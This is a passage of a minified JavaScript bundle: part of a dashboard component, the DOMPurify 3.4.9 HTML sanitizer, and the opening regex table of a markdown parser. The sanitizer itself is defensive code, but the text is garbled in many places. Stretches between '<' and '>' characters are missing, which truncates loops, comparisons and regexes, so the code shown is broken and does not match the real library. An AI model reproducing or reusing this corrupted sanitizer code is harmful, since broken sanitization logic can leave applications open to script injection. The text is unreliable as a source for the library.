Promise.all([_(),x(),A(),L(),S()]),te=setInterval(_,15e3),R=setInterval(L,1e4),wt.subscribe("events",N),z=wt.onReconnected(()=>{x(),A()})}),It(()=>{te&&clearInterval(te),R&&clearInterval(R),clearTimeout(j),wt.unsubscribe("events",N),z&&(z(),z=null)}),{status:t,loading:e,error:s,uptime:B,uptimeRingOffset:h,stats:b,healthIndicators:w,activity:n,activityLoading:a,newEventCount:c,errors:i,errorsLoading:l,errorsError:r,agents:o,actionLoading:d,fetchActivity:x,fetchErrors:A,fetchStatus:_,onEvent:N,formatTime:iD,formatDuration:Pl,retry:ie,reloadConfig:O,clearSessions:I,stopAllLoops:J}}};/*! @license DOMPurify 3.4.9 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.4.9/LICENSE */function Mh(t,e){(e==null||e>t.length)&&(e=t.length);for(var s=0,n=Array(e);s2?n-2:0),i=2;i1?s-1:0),a=1;a"u"?null:Cs(BigInt.prototype.toString),jh=typeof Symbol>"u"?null:Cs(Symbol.prototype.toString),rs=Cs(Object.prototype.hasOwnProperty),cr=Cs(Object.prototype.toString),Rs=Cs(RegExp.prototype.test),_i=J1(TypeError);function Cs(t){return function(e){e instanceof RegExp&&(e.lastIndex=0);for(var s=arguments.length,n=new Array(s>1?s-1:0),a=1;a2&&arguments[2]!==void 0?arguments[2]:gr;if(Ph&&Ph(t,null),!Zs(e))return t;let n=e.length;for(;n--;){let a=e[n];if(typeof a=="string"){const i=s(a);i!==a&&(F1(e)||(e[n]=i),a=i)}t[a]=!0}return t}function z1(t){for(let e=0;e/g),Z1=Pn(/\${[\w\W]*/g),X1=Pn(/^data-[\-\w.\u00B7-\uFFFF]+$/),eT=Pn(/^aria-[\-\w]+$/),Kh=Pn(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),tT=Pn(/^(?:\w+script|data):/i),sT=Pn(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),nT=Pn(/^html$/i),aT=Pn(/^[a-z][.\w]*(-[.\w]+)+$/i),Xn={element:1,attribute:2,text:3,cdataSection:4,entityReference:5,entityNode:6,progressingInstruction:7,comment:8,document:9,documentType:10,documentFragment:11,notation:12},iT=function(){return typeof window>"u"?null:window},lT=function(e,s){if(typeof e!="object"||typeof e.createPolicy!="function")return null;let n=null;const a="data-tt-policy-suffix";s&&s.hasAttribute(a)&&(n=s.getAttribute(a));const i="dompurify"+(n?"#"+n:"");try{return e.createPolicy(i,{createHTML(l){return l},createScriptURL(l){return l}})}catch{return console.warn("TrustedTypes policy "+i+" could not be created."),null}},Wh=function(){return{afterSanitizeAttributes:[],afterSanitizeElements:[],afterSanitizeShadowDOM:[],beforeSanitizeAttributes:[],beforeSanitizeElements:[],beforeSanitizeShadowDOM:[],uponSanitizeAttribute:[],uponSanitizeElement:[],uponSanitizeShadowNode:[]}};function Nb(){let t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:iT();const e=Je=>Nb(Je);if(e.version="3.4.9",e.removed=[],!t||!t.document||t.document.nodeType!==Xn.document||!t.Element)return e.isSupported=!1,e;let s=t.document;const n=s,a=n.currentScript;t.DocumentFragment;const i=t.HTMLTemplateElement,l=t.Node,r=t.Element,o=t.NodeFilter,c=t.NamedNodeMap;c===void 0&&(t.NamedNodeMap||t.MozNamedAttrMap),t.HTMLFormElement;const u=t.DOMParser,d=t.trustedTypes,p=r.prototype,B=ta(p,"cloneNode"),h=ta(p,"remove"),b=ta(p,"nextSibling"),w=ta(p,"childNodes"),_=ta(p,"parentNode"),C=ta(p,"shadowRoot"),v=ta(p,"attributes"),m=l&&l.prototype?ta(l.prototype,"nodeType"):null,y=l&&l.prototype?ta(l.prototype,"nodeName"):null;if(typeof i=="function"){const Je=s.createElement("template");Je.content&&Je.content.ownerDocument&&(s=Je.content.ownerDocument)}let k,x="",A,S=!1,L=0;const O=function(){if(L>0)throw _i('A configured TRUSTED_TYPES_POLICY callback (createHTML or createScriptURL) must not call DOMPurify.sanitize, as that causes infinite recursion. Do not pass a policy whose callbacks wrap DOMPurify as TRUSTED_TYPES_POLICY; see the "DOMPurify and Trusted Types" section of the README.')},I=function(F){O(),L++;try{return k.createHTML(F)}finally{L--}},J=function(F){O(),L++;try{return k.createScriptURL(F)}finally{L--}},ie=function(){return S||(A=lT(d,a),S=!0),A},te=s,R=te.implementation,j=te.createNodeIterator,N=te.createDocumentFragment,z=te.getElementsByTagName,ee=n.importNode;let Q=Wh();e.isSupported=typeof Ob=="function"&&typeof _=="function"&&R&&R.createHTMLDocument!==void 0;const Y=Q1,re=Y1,K=Z1,_e=X1,Ge=eT,de=tT,ue=sT,ve=aT;let $=Kh,se=null;const De=Bt({},[...Jh,...Zu,...Xu,...ed,...zh]);let E=null;const M=Bt({},[...qh,...td,...Vh,...qo]);let V=Object.seal(fl(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),Ce=null,fe=null;const be=Object.seal(fl(null,{tagCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeCheck:{writable:!0,configurable:!1,enumerable:!0,value:null}}));let Ae=!0,W=!0,pe=!1,ne=!0,ke=!1,we=!0,Le=!1,je=!1,tt=!1,lt=!1,ae=!1,Se=!1,Te=!0,$e=!1;const st="user-content-";let le=!0,Fe=!1,Ue={},Oe=null;const He=Bt({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","selectedcontent","style","svg","template","thead","title","video","xmp"]);let me=null;const Ke=Bt({},["audio","video","img","source","image","track"]);let We=null;const gt=Bt({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),$t="http://www.w3.org/1998/Math/MathML",ht="http://www.w3.org/2000/svg",St="http://www.w3.org/1999/xhtml";let ys=St,zs=!1,Sn=null;const ks=Bt({},[$t,ht,St],Yu);let Tn=Bt({},["mi","mo","mn","ms","mtext"]),ln=Bt({},["annotation-xml"]);const bn=Bt({},["title","style","font","a","script"]);let Fs=null;const da=["application/xhtml+xml","text/html"],qs="text/html";let Gt=null,Vs=null;const pa=s.createElement("form"),qn=function(F){return F instanceof RegExp||F instanceof Function},et=function(){let F=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};if(Vs&&Vs===F)return;(!F||typeof F!="object")&&(F={}),F=Hs(F),Fs=da.indexOf(F.PARSER_MEDIA_TYPE)===-1?qs:F.PARSER_MEDIA_TYPE,Gt=Fs==="application/xhtml+xml"?Yu:gr,se=rs(F,"ALLOWED_TAGS")&&Zs(F.ALLOWED_TAGS)?Bt({},F.ALLOWED_TAGS,Gt):De,E=rs(F,"ALLOWED_ATTR")&&Zs(F.ALLOWED_ATTR)?Bt({},F.ALLOWED_ATTR,Gt):M,Sn=rs(F,"ALLOWED_NAMESPACES")&&Zs(F.ALLOWED_NAMESPACES)?Bt({},F.ALLOWED_NAMESPACES,Yu):ks,We=rs(F,"ADD_URI_SAFE_ATTR")&&Zs(F.ADD_URI_SAFE_ATTR)?Bt(Hs(gt),F.ADD_URI_SAFE_ATTR,Gt):gt,me=rs(F,"ADD_DATA_URI_TAGS")&&Zs(F.ADD_DATA_URI_TAGS)?Bt(Hs(Ke),F.ADD_DATA_URI_TAGS,Gt):Ke,Oe=rs(F,"FORBID_CONTENTS")&&Zs(F.FORBID_CONTENTS)?Bt({},F.FORBID_CONTENTS,Gt):He,Ce=rs(F,"FORBID_TAGS")&&Zs(F.FORBID_TAGS)?Bt({},F.FORBID_TAGS,Gt):Hs({}),fe=rs(F,"FORBID_ATTR")&&Zs(F.FORBID_ATTR)?Bt({},F.FORBID_ATTR,Gt):Hs({}),Ue=rs(F,"USE_PROFILES")?F.USE_PROFILES&&typeof F.USE_PROFILES=="object"?Hs(F.USE_PROFILES):F.USE_PROFILES:!1,Ae=F.ALLOW_ARIA_ATTR!==!1,W=F.ALLOW_DATA_ATTR!==!1,pe=F.ALLOW_UNKNOWN_PROTOCOLS||!1,ne=F.ALLOW_SELF_CLOSE_IN_ATTR!==!1,ke=F.SAFE_FOR_TEMPLATES||!1,we=F.SAFE_FOR_XML!==!1,Le=F.WHOLE_DOCUMENT||!1,lt=F.RETURN_DOM||!1,ae=F.RETURN_DOM_FRAGMENT||!1,Se=F.RETURN_TRUSTED_TYPE||!1,tt=F.FORCE_BODY||!1,Te=F.SANITIZE_DOM!==!1,$e=F.SANITIZE_NAMED_PROPS||!1,le=F.KEEP_CONTENT!==!1,Fe=F.IN_PLACE||!1,$=V1(F.ALLOWED_URI_REGEXP)?F.ALLOWED_URI_REGEXP:Kh,ys=typeof F.NAMESPACE=="string"?F.NAMESPACE:St,Tn=rs(F,"MATHML_TEXT_INTEGRATION_POINTS")&&F.MATHML_TEXT_INTEGRATION_POINTS&&typeof F.MATHML_TEXT_INTEGRATION_POINTS=="object"?Hs(F.MATHML_TEXT_INTEGRATION_POINTS):Bt({},["mi","mo","mn","ms","mtext"]),ln=rs(F,"HTML_INTEGRATION_POINTS")&&F.HTML_INTEGRATION_POINTS&&typeof F.HTML_INTEGRATION_POINTS=="object"?Hs(F.HTML_INTEGRATION_POINTS):Bt({},["annotation-xml"]);const Be=rs(F,"CUSTOM_ELEMENT_HANDLING")&&F.CUSTOM_ELEMENT_HANDLING&&typeof F.CUSTOM_ELEMENT_HANDLING=="object"?Hs(F.CUSTOM_ELEMENT_HANDLING):fl(null);if(V=fl(null),rs(Be,"tagNameCheck")&&qn(Be.tagNameCheck)&&(V.tagNameCheck=Be.tagNameCheck),rs(Be,"attributeNameCheck")&&qn(Be.attributeNameCheck)&&(V.attributeNameCheck=Be.attributeNameCheck),rs(Be,"allowCustomizedBuiltInElements")&&typeof Be.allowCustomizedBuiltInElements=="boolean"&&(V.allowCustomizedBuiltInElements=Be.allowCustomizedBuiltInElements),ke&&(W=!1),ae&&(lt=!0),Ue&&(se=Bt({},zh),E=fl(null),Ue.html===!0&&(Bt(se,Jh),Bt(E,qh)),Ue.svg===!0&&(Bt(se,Zu),Bt(E,td),Bt(E,qo)),Ue.svgFilters===!0&&(Bt(se,Xu),Bt(E,td),Bt(E,qo)),Ue.mathMl===!0&&(Bt(se,ed),Bt(E,Vh),Bt(E,qo))),be.tagCheck=null,be.attributeCheck=null,rs(F,"ADD_TAGS")&&(typeof F.ADD_TAGS=="function"?be.tagCheck=F.ADD_TAGS:Zs(F.ADD_TAGS)&&(se===De&&(se=Hs(se)),Bt(se,F.ADD_TAGS,Gt))),rs(F,"ADD_ATTR")&&(typeof F.ADD_ATTR=="function"?be.attributeCheck=F.ADD_ATTR:Zs(F.ADD_ATTR)&&(E===M&&(E=Hs(E)),Bt(E,F.ADD_ATTR,Gt))),rs(F,"ADD_URI_SAFE_ATTR")&&Zs(F.ADD_URI_SAFE_ATTR)&&Bt(We,F.ADD_URI_SAFE_ATTR,Gt),rs(F,"FORBID_CONTENTS")&&Zs(F.FORBID_CONTENTS)&&(Oe===He&&(Oe=Hs(Oe)),Bt(Oe,F.FORBID_CONTENTS,Gt)),rs(F,"ADD_FORBID_CONTENTS")&&Zs(F.ADD_FORBID_CONTENTS)&&(Oe===He&&(Oe=Hs(Oe)),Bt(Oe,F.ADD_FORBID_CONTENTS,Gt)),le&&(se["#text"]=!0),Le&&Bt(se,["html","head","body"]),se.table&&(Bt(se,["tbody"]),delete Ce.tbody),F.TRUSTED_TYPES_POLICY){if(typeof F.TRUSTED_TYPES_POLICY.createHTML!="function")throw _i('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if(typeof F.TRUSTED_TYPES_POLICY.createScriptURL!="function")throw _i('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');const Re=k;k=F.TRUSTED_TYPES_POLICY;try{x=I("")}catch(nt){throw k=Re,nt}}else F.TRUSTED_TYPES_POLICY===null?(k=void 0,x=""):(k===void 0&&(k=ie()),k&&typeof x=="string"&&(x=I("")));(Q.uponSanitizeElement.length>0||Q.uponSanitizeAttribute.length>0)&&se===De&&(se=Hs(se)),Q.uponSanitizeAttribute.length>0&&E===M&&(E=Hs(E)),an&&an(F),Vs=F},rn=Bt({},[...Zu,...Xu,...K1]),on=Bt({},[...ed,...W1]),Ks=function(F){let Be=_(F);(!Be||!Be.tagName)&&(Be={namespaceURI:ys,tagName:"template"});const Re=gr(F.tagName),nt=gr(Be.tagName);return Sn[F.namespaceURI]?F.namespaceURI===ht?Be.namespaceURI===St?Re==="svg":Be.namespaceURI===$t?Re==="svg"&&(nt==="annotation-xml"||Tn[nt]):!!rn[Re]:F.namespaceURI===$t?Be.namespaceURI===St?Re==="math":Be.namespaceURI===ht?Re==="math"&&ln[nt]:!!on[Re]:F.namespaceURI===St?Be.namespaceURI===ht&&!ln[nt]||Be.namespaceURI===$t&&!Tn[nt]?!1:!on[Re]&&(bn[Re]||!rn[Re]):!!(Fs==="application/xhtml+xml"&&Sn[F.namespaceURI]):!1},oe=function(F){ll(e.removed,{element:F});try{_(F).removeChild(F)}catch{if(h(F),!_(F))throw _i("a node selected for removal could not be detached from its tree and cannot be safely returned; refusing to sanitize in place")}},Me=function(F){const Be=w?w(F):F.childNodes;if(Be){const nt=[];va(Be,at=>{ll(nt,at)}),va(nt,at=>{try{h(at)}catch{}})}const Re=v?v(F):null;if(Re)for(let nt=Re.length-1;nt>=0;--nt){const at=Re[nt],ot=at&&at.name;if(typeof ot=="string")try{F.removeAttribute(ot)}catch{}}},Qe=function(F,Be){try{ll(e.removed,{attribute:Be.getAttributeNode(F),from:Be})}catch{ll(e.removed,{attribute:null,from:Be})}if(Be.removeAttribute(F),F==="is")if(lt||ae)try{oe(Be)}catch{}else try{Be.setAttribute(F,"")}catch{}},yt=function(F){const Be=v?v(F):F.attributes;if(Be)for(let Re=Be.length-1;Re>=0;--Re){const nt=Be[Re],at=nt&&nt.name;if(!(typeof at!="string"||E[Gt(at)]))try{F.removeAttribute(at)}catch{}}},Vt=function(F){const Be=[F];for(;Be.length>0;){const Re=Be.pop();(m?m(Re):Re.nodeType)===Xn.element&&yt(Re);const at=w?w(Re):Re.childNodes;if(at)for(let ot=at.length-1;ot>=0;--ot)Be.push(at[ot])}},is=function(F){let Be=null,Re=null;if(tt)F=""+F;else{const ot=Gh(F,/^[\r\n\t ]+/);Re=ot&&ot[0]}Fs==="application/xhtml+xml"&&ys===St&&(F=''+F+"");const nt=k?I(F):F;if(ys===St)try{Be=new u().parseFromString(nt,Fs)}catch{}if(!Be||!Be.documentElement){Be=R.createDocument(ys,"template",null);try{Be.documentElement.innerHTML=zs?x:nt}catch{}}const at=Be.body||Be.documentElement;return F&&Re&&at.insertBefore(s.createTextNode(Re),at.childNodes[0]||null),ys===St?z.call(Be,Le?"html":"body")[0]:Le?Be.documentElement:at},Ua=function(F){return j.call(F.ownerDocument||F,F,o.SHOW_ELEMENT|o.SHOW_COMMENT|o.SHOW_TEXT|o.SHOW_PROCESSING_INSTRUCTION|o.SHOW_CDATA_SECTION,null)},fa=function(F){var Be,Re;F.normalize();const nt=j.call(F.ownerDocument||F,F,o.SHOW_TEXT|o.SHOW_COMMENT|o.SHOW_CDATA_SECTION|o.SHOW_PROCESSING_INSTRUCTION,null);let at=nt.nextNode();for(;at;){let es=at.data;va([Y,re,K],Ot=>{es=rl(es,Ot," ")}),at.data=es,at=nt.nextNode()}const ot=(Be=(Re=F.querySelectorAll)===null||Re===void 0?void 0:Re.call(F,"template"))!==null&&Be!==void 0?Be:[];va(Array.from(ot),es=>{Pt(es.content)&&fa(es.content)})},$a=function(F){const Be=y?y(F):null;return typeof Be!="string"||Gt(Be)!=="form"?!1:typeof F.nodeName!="string"||typeof F.textContent!="string"||typeof F.removeChild!="function"||F.attributes!==v(F)||typeof F.removeAttribute!="function"||typeof F.setAttribute!="function"||typeof F.namespaceURI!="string"||typeof F.insertBefore!="function"||typeof F.hasChildNodes!="function"||F.nodeType!==m(F)||F.childNodes!==w(F)},Pt=function(F){if(!m||typeof F!="object"||F===null)return!1;try{return m(F)===Xn.documentFragment}catch{return!1}},cn=function(F){if(!m||typeof F!="object"||F===null)return!1;try{return typeof m(F)=="number"}catch{return!1}};function ds(Je,F,Be){va(Je,Re=>{Re.call(e,F,Be,Vs)})}const Vn=function(F){let Be=null;if(ds(Q.beforeSanitizeElements,F,null),$a(F))return oe(F),!0;const Re=Gt(y?y(F):F.nodeName);if(ds(Q.uponSanitizeElement,F,{tagName:Re,allowedTags:se}),we&&F.hasChildNodes()&&!cn(F.firstElementChild)&&Rs(/<[/\w!]/g,F.innerHTML)&&Rs(/<[/\w!]/g,F.textContent)||we&&F.namespaceURI===St&&Re==="style"&&cn(F.firstElementChild)||F.nodeType===Xn.progressingInstruction||we&&F.nodeType===Xn.comment&&Rs(/<[/\w]/g,F.data))return oe(F),!0;if(Ce[Re]||!(be.tagCheck instanceof Function&&be.tagCheck(Re))&&!se[Re]){if(!Ce[Re]&&ja(Re)&&(V.tagNameCheck instanceof RegExp&&Rs(V.tagNameCheck,Re)||V.tagNameCheck instanceof Function&&V.tagNameCheck(Re)))return!1;if(le&&!Oe[Re]){const at=_(F),ot=w(F);if(ot&&at){const es=ot.length;for(let Ot=es-1;Ot>=0;--Ot){const Kt=Fe?ot[Ot]:B(ot[Ot],!0);at.insertBefore(Kt,b(F))}}}return oe(F),!0}return(m?m(F):F.nodeType)===Xn.element&&!Ks(F)||(Re==="noscript"||Re==="noembed"||Re==="noframes")&&Rs(/<\/no(script|embed|frames)/i,F.innerHTML)?(oe(F),!0):(ke&&F.nodeType===Xn.text&&(Be=F.textContent,va([Y,re,K],at=>{Be=rl(Be,at," ")}),F.textContent!==Be&&(ll(e.removed,{element:F.cloneNode()}),F.textContent=Be)),ds(Q.afterSanitizeElements,F,null),!1)},Kn=function(F,Be,Re){if(fe[Be]||Te&&(Be==="id"||Be==="name")&&(Re in s||Re in pa))return!1;const nt=E[Be]||be.attributeCheck instanceof Function&&be.attributeCheck(Be,F);if(!(W&&!fe[Be]&&Rs(_e,Be))){if(!(Ae&&Rs(Ge,Be))){if(!nt||fe[Be]){if(!(ja(F)&&(V.tagNameCheck instanceof RegExp&&Rs(V.tagNameCheck,F)||V.tagNameCheck instanceof Function&&V.tagNameCheck(F))&&(V.attributeNameCheck instanceof RegExp&&Rs(V.attributeNameCheck,Be)||V.attributeNameCheck instanceof Function&&V.attributeNameCheck(Be,F))||Be==="is"&&V.allowCustomizedBuiltInElements&&(V.tagNameCheck instanceof RegExp&&Rs(V.tagNameCheck,Re)||V.tagNameCheck instanceof Function&&V.tagNameCheck(Re))))return!1}else if(!We[Be]){if(!Rs($,rl(Re,ue,""))){if(!((Be==="src"||Be==="xlink:href"||Be==="href")&&F!=="script"&&Uh(Re,"data:")===0&&me[F])){if(!(pe&&!Rs(de,rl(Re,ue,"")))){if(Re)return!1}}}}}}return!0},gi=Bt({},["annotation-xml","color-profile","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","missing-glyph"]),ja=function(F){return!gi[gr(F)]&&Rs(ve,F)},mi=function(F){ds(Q.beforeSanitizeAttributes,F,null);const Be=F.attributes;if(!Be||$a(F))return;const Re={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:E,forceKeepAttr:void 0};let nt=Be.length;for(;nt--;){const at=Be[nt],ot=at.name,es=at.namespaceURI,Ot=at.value,Kt=Gt(ot),Ts=Ot;let _t=ot==="value"?Ts:U1(Ts);if(Re.attrName=Kt,Re.attrValue=_t,Re.keepAttr=!0,Re.forceKeepAttr=void 0,ds(Q.uponSanitizeAttribute,F,Re),_t=Re.attrValue,$e&&(Kt==="id"||Kt==="name")&&Uh(_t,st)!==0&&(Qe(ot,F),_t=st+_t),we&&Rs(/((--!?|])>)|<\/(style|script|title|xmp|textarea|noscript|iframe|noembed|noframes)/i,_t)){Qe(ot,F);continue}if(Kt==="attributename"&&Gh(_t,"href")){Qe(ot,F);continue}if(Re.forceKeepAttr)continue;if(!Re.keepAttr){Qe(ot,F);continue}if(!ne&&Rs(/\/>/i,_t)){Qe(ot,F);continue}ke&&va([Y,re,K],za=>{_t=rl(_t,za," ")});const Hn=Gt(F.nodeName);if(!Kn(Hn,Kt,_t)){Qe(ot,F);continue}if(k&&typeof d=="object"&&typeof d.getAttributeType=="function"&&!es)switch(d.getAttributeType(Hn,Kt)){case"TrustedHTML":{_t=I(_t);break}case"TrustedScriptURL":{_t=J(_t);break}}if(_t!==Ts)try{es?F.setAttributeNS(es,ot,_t):F.setAttribute(ot,_t),$a(F)?oe(F):Hh(e.removed)}catch{Qe(ot,F)}}ds(Q.afterSanitizeAttributes,F,null)},Ba=function(F){let Be=null;const Re=Ua(F);for(ds(Q.beforeSanitizeShadowDOM,F,null);Be=Re.nextNode();)if(ds(Q.uponSanitizeShadowNode,Be,null),Vn(Be),mi(Be),Pt(Be.content)&&Ba(Be.content),(m?m(Be):Be.nodeType)===Xn.element){const at=C?C(Be):Be.shadowRoot;Pt(at)&&(Ja(at),Ba(at))}ds(Q.afterSanitizeShadowDOM,F,null)},Ja=function(F){const Be=[{node:F,shadow:null}];for(;Be.length>0;){const Re=Be.pop();if(Re.shadow){Ba(Re.shadow);continue}const nt=Re.node,ot=(m?m(nt):nt.nodeType)===Xn.element,es=w?w(nt):nt.childNodes;if(es)for(let Ot=es.length-1;Ot>=0;--Ot)Be.push({node:es[Ot],shadow:null});if(ot){const Ot=y?y(nt):null;if(typeof Ot=="string"&&Gt(Ot)==="template"){const Kt=nt.content;Pt(Kt)&&Be.push({node:Kt,shadow:null})}}if(ot){const Ot=C?C(nt):nt.shadowRoot;Pt(Ot)&&Be.push({node:null,shadow:Ot},{node:Ot,shadow:null})}}};return e.sanitize=function(Je){let F=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},Be=null,Re=null,nt=null,at=null;if(zs=!Je,zs&&(Je=""),typeof Je!="string"&&!cn(Je)&&(Je=q1(Je),typeof Je!="string"))throw _i("dirty is not a string, aborting");if(!e.isSupported)return Je;je||et(F),e.removed=[];const ot=Fe&&typeof Je!="string"&&cn(Je);if(ot){const Kt=y?y(Je):Je.nodeName;if(typeof Kt=="string"){const Ts=Gt(Kt);if(!se[Ts]||Ce[Ts])throw _i("root node is forbidden and cannot be sanitized in-place")}if($a(Je))throw _i("root node is clobbered and cannot be sanitized in-place");try{Ja(Je)}catch(Ts){throw Me(Je),Ts}}else if(cn(Je))Be=is(""),Re=Be.ownerDocument.importNode(Je,!0),Re.nodeType===Xn.element&&Re.nodeName==="BODY"||Re.nodeName==="HTML"?Be=Re:Be.appendChild(Re),Ja(Re);else{if(!lt&&!ke&&!Le&&Je.indexOf("<")===-1)return k&&Se?I(Je):Je;if(Be=is(Je),!Be)return lt?null:Se?x:""}Be&&tt&&oe(Be.firstChild);const es=Ua(ot?Je:Be);try{for(;nt=es.nextNode();)Vn(nt),mi(nt),Pt(nt.content)&&Ba(nt.content)}catch(Kt){throw ot&&Me(Je),Kt}if(ot)return va(e.removed,Kt=>{Kt.element&&Vt(Kt.element)}),ke&&fa(Je),Je;if(lt){if(ke&&fa(Be),ae)for(at=N.call(Be.ownerDocument);Be.firstChild;)at.appendChild(Be.firstChild);else at=Be;return(E.shadowroot||E.shadowrootmode)&&(at=ee.call(n,at,!0)),at}let Ot=Le?Be.outerHTML:Be.innerHTML;return Le&&se["!doctype"]&&Be.ownerDocument&&Be.ownerDocument.doctype&&Be.ownerDocument.doctype.name&&Rs(nT,Be.ownerDocument.doctype.name)&&(Ot=" +`+Ot),ke&&va([Y,re,K],Kt=>{Ot=rl(Ot,Kt," ")}),k&&Se?I(Ot):Ot},e.setConfig=function(){let Je=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};et(Je),je=!0},e.clearConfig=function(){Vs=null,je=!1,k=A,x=""},e.isValidAttribute=function(Je,F,Be){Vs||et({});const Re=Gt(Je),nt=Gt(F);return Kn(Re,nt,Be)},e.addHook=function(Je,F){typeof F=="function"&&ll(Q[Je],F)},e.removeHook=function(Je,F){if(F!==void 0){const Be=H1(Q[Je],F);return Be===-1?void 0:G1(Q[Je],Be,1)[0]}return Hh(Q[Je])},e.removeHooks=function(Je){Q[Je]=[]},e.removeAllHooks=function(){Q=Wh()},e}var Qh=Nb();function Yp(){return{async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null}}var Wi=Yp();function Fb(t){Wi=t}var kr={exec:()=>null};function Mt(t,e=""){let s=typeof t=="string"?t:t.source;const n={replace:(a,i)=>{let l=typeof i=="string"?i:i.source;return l=l.replace(sn.caret,"$1"),s=s.replace(a,l),n},getRegex:()=>new RegExp(s,e)};return n}var sn={codeRemoveIndent:/^(?: {1,4}| {0,3}\t)/gm,outputLinkReplace:/\\([\[\]])/g,indentCodeCompensation:/^(\s+)(?:```)/,beginningSpace:/^\s+/,endingHash:/#$/,startingSpaceChar:/^ /,endingSpaceChar:/ $/,nonSpaceChar:/[^ ]/,newLineCharGlobal:/\n/g,tabCharGlobal:/\t/g,multipleSpaceGlobal:/\s+/g,blankLine:/^[ \t]*$/,doubleBlankLine:/\n[ \t]*\n[ \t]*$/,blockquoteStart:/^ {0,3}>/,blockquoteSetextReplace:/\n {0,3}((?:=+|-+) *)(?=\n|$)/g,blockquoteSetextReplace2:/^ {0,3}>[ \t]?/gm,listReplaceTabs:/^\t+/,listReplaceNesting:/^ {1,4}(?=( {4})*[^ ])/g,listIsTask:/^\[[ xX]\] /,listReplaceTask:/^\[[ xX]\] +/,anyLine:/\n.*\n/,hrefBrackets:/^<(.*)>$/,tableDelimiter:/[:|]/,tableAlignChars:/^\||\| *$/g,tableRowBlankLine:/\n[ \t]*$/,tableAlignRight:/^ *-+: *$/,tableAlignCenter:/^ *:-+: *$/,tableAlignLeft:/^ *:-+ *$/,startATag:/^/i,startPreScriptTag:/^<(pre|code|kbd|script)(\s|>)/i,endPreScriptTag:/^<\/(pre|code|kbd|script)(\s|>)/i,startAngleBracket:/^$/,pedanticHrefTitle:/^([^'"]*[^\s])\s+(['"])(.*)\2/,unicodeAlphaNumeric:/[\p{L}\p{N}]/u,escapeTest:/[&<>"']/,escapeReplace:/[&<>"']/g,escapeTestNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/,escapeReplaceNoEncode:/[<>"']|&(?!(#\d{1,7}|#[Xx][a-fA-F0-9]{1,6}|\w+);)/g,unescapeTest:/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/ig,caret:/(^|[^\[])\^/g,percentDecode:/%25/g,findPipe:/\|/g,splitPipe:/ \|/,slashPipe:/\\\|/g,carriageReturn:/\r\n|\r/g,spaceLine:/^ +$/gm,notSpaceStart:/^\S*/,endingNewline:/\n$/,listItemRegex:t=>new RegExp(`^( {0,3}${t})((?:[ ][^\\n]*)?(?:\\n|$))`),nextBulletRegex:t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:[*+-]|\\d{1,9}[.)])((?:[ ][^\\n]*)?(?:\\n|$))`),hrRegex:t=>new RegExp(`^ {0,${Math.min(3,t-1)}}((?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$)`),fencesBeginRegex:t=>new RegExp(`^ {0,${Math.min(3,t-1)}}(?:\`\`\`|~~~)`),headingBeginRegex:t=>new RegExp(`^ {0,${Math.min(3,t-1)}}#`),htmlBeginRegex:t=>new RegExp(`^ {0,${Math.min(3,t-1)}}<(?:[a-z].*>|!--)`,"i")},rT=/^(?:[ \t]*(?:\n|$))+/,oT=/^((?: {4}| {0,3}\t)[^\n]+(?:\n(?:[ \t]*(?:\n|$))*)?)+/,cT=/^ {0,3}(`{3,}(?=[^`\n]*(?:\n|$))|~{3,})([^\n]*)(?:\n|$)(?:|([\s\S]*?)(?:\n|$))(?: {0,3}\1[~`]* *(?=\n|$)|$)/,oo=/^ {0,3}((?:-[\t ]*){3,}|(?:_[ \t]*){3,}|(?:\*[ \t]*){3,})(?:\n+|$)/,uT=/^ {0,3}(#{1,6})(?=\s|$)(.*)(?:\n+|$)/,Zp=/(?:[*+-]|\d{1,9}[.)])/,Mb=/^(?!bull |blockCode|fences|blockquote|heading|html|table)((?:.|\n(?!\s*?\n|bull |blockCode|fences|blockquote|heading|html|table))+?)\n {0,3}(=+|-+) *(?:\n+|$)/,Pb=Mt(Mb).replace(/bull/g,Zp).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/\|table/g,"").getRegex(),dT=Mt(Mb).replace(/bull/g,Zp).replace(/blockCode/g,/(?: {4}| {0,3}\t)/).replace(/fences/g,/ {0,3}(?:`{3,}|~{3,})/).replace(/blockquote/g,/ {0,3}>/).replace(/heading/g,/ {0,3}#{1,6}/).replace(/html/g,/ {0,3}<[^\n>]+>\n/).replace(/table/g,/ {0,3}\|?(?:[:\- ]*\|)+[\:\- ]*\n/).getRegex(),Xp=/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html|table| +\n)[^\n]+)*)/,pT=/^[^\n]+/,ef=/(?!\s*\])(?:\\.|[^\[\]\\])+/,fT=Mt(/^ {0,3}\[(label)\]: *(?:\n[ 